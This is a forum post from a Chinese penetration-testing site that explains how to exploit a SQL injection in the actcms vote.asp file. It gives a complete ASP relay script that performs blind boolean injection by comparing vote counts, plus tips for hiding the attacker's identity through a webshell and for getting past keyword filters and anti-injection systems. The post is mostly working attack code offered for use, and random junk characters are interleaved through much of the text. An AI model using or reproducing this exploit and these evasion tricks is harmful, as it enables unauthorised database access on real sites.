中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

( Z# E- E3 K4 {* X+ g0 [  f/ G$ A看到ninty大牛的blog的一篇文章- q0 \( Y# P, Z9 D, r7 x+ `
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]& e  Z1 k* I) c9 c5 x+ z$ O" x2 Z
关于actcms漏洞的利用  by 3x qq:381862589
+ L  o9 \( _8 v4 ?# F转载请注明以上
2 G1 E9 n7 B4 P漏洞文件:
5 e( T! y. ]' P( D$ L. t1 m7 |4 T4 n/plus/vote/vote.asp
. Q& w  Z  {: _( N1 J代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
8 l: G; ~! a1 F: s; C# _( I
/ V; G8 g3 F9 ~% M, Y. [4 }2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   1 e9 V5 z% o) A6 P
1 L4 Y/ |, `5 w: t1 U3 S: j- U. y
3    response.end   
! \) N7 r" N/ R/ @  _  A! O' B9 F1 f- K& Z4 {' e* w. e7 B  ]# v5 f
4    end if    % s4 [+ k& |8 E( ^; i1 S' n7 }- R

* a# u) H7 q6 m8 {5    for i=1 to request("voted").count   
; Q& l+ _! |2 v
0 C. [; f! a$ K9 `. Y( B" F, `6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    3 p1 ^$ u- M' D
* i: a) n, s) U( C7 F
7    next    % B. g4 ?6 O; ~, F8 t

, e% Q. c  I8 ]) B5 l8....    & j* S' g9 d( o6 N

' S* Z- o# I' m! |& ]) Q9response.Redirect "index.asp?id="&id&""   
( {0 j: o1 i& C% c; N. S4 F投票结束回跳转回index.asp这个投票结果页面$ ]# [9 ^) p% ~/ k
如果投票成功票数加1. \0 ?9 u) ^: A2 \+ C& }& `7 `
            失败票数不变% d, e2 v0 Z, f3 s
如图:' c5 m- c* V8 `0 |/ m+ \
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)2 F9 u; e5 H) ?) i6 |: h
7 d/ u/ U- ~% P5 a; R
2009-12-27 13:20- O& G# @+ G% e" }0 U4 }- x  D- d
5 x9 t1 f+ I' r* _
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
! r* Y$ O0 G4 W7 s7 Q+ l
9 _- N3 t6 Q, H1 u6 j7 P本帖隐藏的内容需要回复才可以浏览
8 F" e& ?) S' n  V! T3 V) u/ e我们用注入中转来实现这个注入具体代码如下:# Y7 f5 Y9 X$ A7 o
先用寂寞的刺猬大牛的注入中转生成jmget.asp
1 p6 w3 h1 s3 v) ^/ o- Z注入地址:http://localhost/actcms/plus/vote/vote.asp3 L' h0 }- b0 e: T. K1 Z
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
' J/ ~5 E) j* s+ D( P7 K$ y/ T5 i3 x, C$ t4 T/ k7 S( Q
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% , w" s+ y- U9 w2 V
" z/ w: j# X& V# k4 n$ D8 t6 j
02JmdcwName=request("jmdcw")
: k' W/ G+ F' v* E6 i) q4 \4 g
9 ?" I+ J; V) A+ i* A9 ]03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
+ B* `+ M1 H; O, ^  Z7 k) y: \* z5 @4 B& o2 X
04JmStr="id=1&voted=-1 or 1="&JmdcwName " l1 t1 Y. U% t0 d0 Y4 f
1 ~4 Z  ~$ M) D# P$ d, v+ v
05JmStr=URLEncoding(JmStr)
3 E* X" j4 N5 Y1 P
; ?7 x/ \5 R+ \( J4 }4 |/ [+ ^06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"$ N: M$ Q) x. j- T3 |# V

, d1 G2 f3 U9 N  t( m! Q07testurl="链接标记http://localhost/actcms/plus/vote/index.asp". z$ U; \" _9 R" \( T/ n# O

" s, R5 n& |% B" S+ U; S' U08testurl=testurl & "?" & JmStr ) w# p4 N4 ~( \$ p6 V3 }, `
+ p% L* A4 z/ |% H$ E7 s. _0 Q
09JMUrl=JMUrl & "?" & JmStr
$ B1 l; _! b0 m- W8 z9 d+ ]$ s" C& [& A( ]% }
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
" c4 N8 k+ L' G% U' D; [$ l5 m4 N9 m. f$ v/ B
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;": R; V$ E2 a; S+ Q

. j. J% Z' C, y* S% Y: g& u12JmCok=replace(JmCok,chr(32),"%20")  
5 E1 \1 F  ^6 K( e
0 _( U, c0 {4 r& Y# U: ]13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 3 Z9 B4 n# ?/ b9 u0 p

$ [$ x! N- W# l% o: L- _! l; z14  $ e" O0 ?2 e0 A8 I
% P, v! E; }0 f4 U- ]. u$ ]
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 1 y, k& x& a$ O; [! p
0 r* z7 U7 Q: \) f
16  
7 s3 A( a8 X. ^$ A2 {; Y: W0 U9 p9 m4 O  e+ \2 c& w1 ]
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
7 V2 R# G) _4 W$ |% Z1 t4 b% g+ p( b4 S' c' j* @
18response.write test1&""&test2&""
0 k2 P9 B3 Y2 |; H0 c
" ?3 J* _% D# I! {$ g7 F19  8 o) s/ g0 [6 H
, {, w  E2 D1 y
20if test1=test2 then '如前后记录相等,表示失败
* Y( |0 M# j6 k4 u4 w- {* o/ p( s
1 N; n9 q# }9 l6 G) z21  response.write "failed": J4 B0 Q0 V: ^5 f
# Y8 n9 Z2 t3 m
22else " K1 f- c  U- V" W

' l+ n6 v2 Q) D3 _23  response.write "succeed"
3 s9 R8 E- ?1 X, a8 R* Q* E  J- k( a1 g  K6 l9 a( S
24end if  
5 m, }2 T7 b1 _6 e) C/ X: B: j) i  ~2 I5 S+ D3 e: a" k
25  
4 D. E! t/ s+ E2 `, p$ W; X5 [7 a# A6 H% j& R
26response.write "by 3x"
8 S1 l% O, [/ |
6 }% u( f6 a) Q27  7 r* w  k7 k+ Z0 Z1 a2 R8 f" d
# @* g3 p/ Q. Q$ X
28  . ]% J. Q6 O0 N6 _- N$ l- H7 u* T
$ _* a. Z6 X9 ?0 `
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   # j2 Q0 J6 k0 j# W- y
( a0 U3 y9 c! T: @- l* u
30Dim Http
$ X% I2 W: t( H8 a. y5 G5 v
0 i+ V, G" m8 B( e: n31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
! c' r& o8 |& k1 x7 C3 K& I9 l+ ^
: Z* M+ I1 d$ G32With Http 4 q6 r! |& m% [
7 k2 q9 K9 _7 R, ^  X. n5 m( a
33  
1 r* D: ^2 G5 G; S) ]9 f, M8 m
% c  j6 ?8 G( |+ O* u34.Open "GET",PostUrl,False% ]% M5 ]. u4 x/ B- A

% t2 T: D0 Y! ]: ^0 J* L/ B! k35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"* ~4 T2 n! I. I4 w) o

# y: c* e& l' L36.SetRequestHeader "Referer",PostRef
% x/ N* e! n/ g# A2 C4 C+ h
! E7 X. W4 v. `; y9 p; B37.SetRequestHeader "Cookie",PostCok ; K$ r0 `0 z9 @* A+ P( }
- Y' M0 ~$ X( Z. d$ a# W0 s
38.Send ()
8 R% e& g+ Y& g7 h4 `5 J- W  h; U
- L+ Z: T* z+ N- h$ }39PostData = .ResponseBody
/ V, }- F/ k. i! C- s2 r
+ K' W, H* j+ G6 w40End With( C( C7 l; k; Q# m( q

7 k7 o5 @: Z- D41Set Http = Nothing
) K: V1 J% K, |6 M0 F  z
/ [1 x9 W2 r% r, M$ B  P6 O: V3 M42PostData =bytes2BSTR(PostData) , t, F, i7 K4 k
! d- _8 M2 ]& [
43End Function. d& x$ t( o7 c. K

  v8 H. r9 }) H$ M$ k44  0 n# `$ F+ J6 F9 i$ E

6 e1 b0 _. N2 j. K: Q+ U2 `45  6 T$ j1 Q+ S% c5 N# H3 X
& s0 h# ~9 p) |4 k% ~
46Function bytes2BSTR(vIn)
5 e9 h( K7 Y1 J* O: n) O) s' B2 U) h; h, B& t+ \# g
47Dim strReturn 3 ~8 H; Z+ M' @& L. G2 X& U

. `" o6 W5 v6 K6 H0 m8 w9 t48Dim I, ThisCharCode, NextCharCode # I) L' C# `, G7 s6 s
; S( Y! [, \' R8 K4 z! O! `" w
49strReturn = ""
! N3 A% V% x) y% I6 J
5 L' l# S! C. a, h50For I = 1 To LenB(vIn) 1 A  I* Y, a: ]5 H! v4 ^
9 x, ]# n" e# X7 X. l9 w! o
51ThisCharCode = AscB(MidB(vIn, I, 1)) 2 j  M7 g, t# i9 F* d
! O* \7 |  o! v
52If ThisCharCode < &H80 Then. b4 z/ e5 Q; D3 q" f4 H$ H* l

/ [! h; Y1 c, J& z0 M53strReturn = strReturn & Chr(ThisCharCode)
7 h. h- g# ?0 B$ p
: ^( R, g2 @( y% W9 ?8 h2 n" t54Else
1 O! Y8 V5 x# Z9 n4 g; U/ g) D5 e' z% B" z/ @
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
, F  K1 k. h; @: k7 ]
- q3 @* s( X9 @) @/ x5 V56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
8 a# b3 C' p2 L2 m. ^! r- |, g. K; U
; Z- T3 i& l9 C& J( j57I = I + 1
: W4 P: V+ n$ I3 q. t- p1 r2 J5 m! L3 O! w% v% K" E) \
58End If
2 R  ]4 e9 C: c- L) ]1 @) i
1 }$ k' p! A+ [# l1 L. W, a! b% K59Next
2 d6 T3 p; e* R- N
* g9 y# j, l+ S& {  o( E8 @, E! x60bytes2BSTR = strReturn
! G. F* g9 W6 q+ q. N9 w3 R
: W% s2 p1 z$ P% C1 w- x! V* g1 {61End Function
4 J1 K5 }. c. D. v5 o) }8 J5 H/ f) D/ p- e# O8 t( b: b" H- Z
62  
) @, r" J9 a, g8 ~9 N( R6 }" f+ v5 m+ c3 t1 \4 a9 |0 Z
63Function URLEncoding(vstrin)  
. s; E% U$ J! `; m, a1 d" ^# A4 q# j8 {; L
64strReturn=""& o8 c( j2 `% i* d
# D2 [5 X1 z7 W0 U# c) ]& N
65Dim i
  G" J6 f7 P/ b" k
: x# I0 Y# A/ A3 \0 T- B; g66For i=1 To Len(vstrin)
5 |$ S' Z% i- d& \. @7 f) D+ t+ `
# W4 m$ T& z- y) m* {$ s1 R; D67ThisChr=Mid(vstrin,i,1)
8 g1 s8 U  c9 s0 N4 {* l. k: f. q3 I$ T: Y( j; N
68if Abs(Asc(ThisChr))< &HFF Then
2 W4 U2 z8 F" e1 L% M8 J8 o2 O7 a6 b: {- A% D/ L% j
69strReturn=strReturn & ThisChr . G- b  y% k, M8 F  i

% \; H* n4 Z9 V- U% U' u70Else
4 k8 }6 X& Z! x  Q" p% ?) _. n) f' }) [$ g
71InnerCode=Asc(ThisChr)
% O: C) e2 w8 u" i9 v7 Y. U
# a2 S7 _; \0 x' a: B  B/ ~; g72If InnerCode<0 Then7 Q2 _& {9 X+ J
( `& b; w. V& X5 l9 f! m
73InnerCode=InnerCode + &H10000 - [, j. B1 N& ?$ m1 v4 I/ O' L3 v

, J/ r( F+ n) G7 U9 |0 j6 ^1 h74End If
  `5 f6 O9 y' d. p' p/ ^
. V# Q+ p  g) d' V, o7 b75Hight1=(InnerCode And &HFF00) \&HFF " b2 _! L8 N  S" T$ o
: N( P* Z! |8 F! t
76Low1=InnerCode And &HFF
! y* k5 c9 \( r9 X* p% g
1 ^/ F7 t: i' X77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
. f# d6 ]8 K4 O( l+ x$ p) w( N* @% e# `7 h7 m  ~( h
78End if % c! y$ j6 j' N; v" }3 _
/ x# _0 e7 P+ S$ @/ U+ g
79Next
7 \- ?/ t- F4 e' N7 n- A9 o4 x& R
( {1 K8 u/ O1 F, V. u- B# a4 a/ m0 [80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
5 A6 ~; D$ n9 l% D) G
9 j4 x9 f6 M# O: A81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 6 ^& }* m' F3 q( r; q3 h) ~5 _- j
; z! T7 p  T$ D
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
0 C0 M, ]$ V$ @9 @# r3 ^8 i  Q( {3 V0 N5 l- p0 `% A
83URLEncoding=strReturn
* e/ a6 @; \! U: R
9 G* T# x6 W# J' I8 I1 M! U8 j84End Function
) i. x  N8 m% ~' @% G: V& L, ]3 K) J+ P2 u0 a$ y$ A$ ]2 R7 y& [
85  / Z! s& p; A+ i5 I! L

! l. b! J  F& m; x86function getSt(body)
& e6 Y/ Q; S# M
/ ?+ L; L/ m$ C2 w4 Z8 g87  startpot=instr(body,"投票人数:")+len("投票人数:")
1 W, i0 W/ C& W& O* u( K0 v" b6 g# l5 A0 t$ }4 j
88  endpot=instr(startpot,body," ") $ \/ J' R) T% a+ d6 ?7 u5 [

3 G$ u4 i+ r- E( T1 {; N89  getSt=mid(body,startpot,endpot-startpot) + B/ l! X& q5 ]" K0 c% e

1 W8 O. R( K2 J- G90end function
- X% ?3 _$ F) m" ^& R9 n9 @* s: w( r# }8 i! l
91%>9 Z, K% V& B: h* j
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了$ i. o6 r/ p' V3 @, ~
测试下效果:4 a$ w1 u% V& M
投票成功:
0 I$ g1 J6 l+ E! x; S1 A2 Bhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
: N  n4 w1 K# }  [3 ]
. B+ {% \. K% n3 F2009-12-27 13:29
3 j" Z( t; T3 K/ [投票失败
; z. J3 |# b' W$ k) O, Whttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)5 [8 I: S7 g- f9 O
3 a8 y6 p8 D9 ]% `7 P) g8 u7 B
2009-12-27 13:29" J; @% G) q  b( q# @
-------------------------------------------------------------------------------
5 |+ i: ]* r& J2 B" f" V. T再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ [  j2 M# Z5 f' i" X) z很抱歉。。。只能用单线程工具去注入。。。。。
( X% u" l* h9 m5 D' s" d2 Z所以失败。。。不好意思。。。. k5 z/ H/ H2 C
-------------------------------------------------------------------------------, J  H3 Q. P" r8 Q
5 V# R  w$ A" g, o/ g$ |
注入中转的一些其他应用
( h4 ~6 @+ H. y# I7 w其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 r4 v- \1 l4 ?( n/ i' S; H1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
" h( J9 C; R, i0 D- o# T2.post注入转成get型的注入,方便我们使用工具来跑, w7 T6 r- |, O
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")! f. d  i3 y3 S8 c
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ @4 o1 ], @. L4 [7 `  C: b( P) m1 g. [. F





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2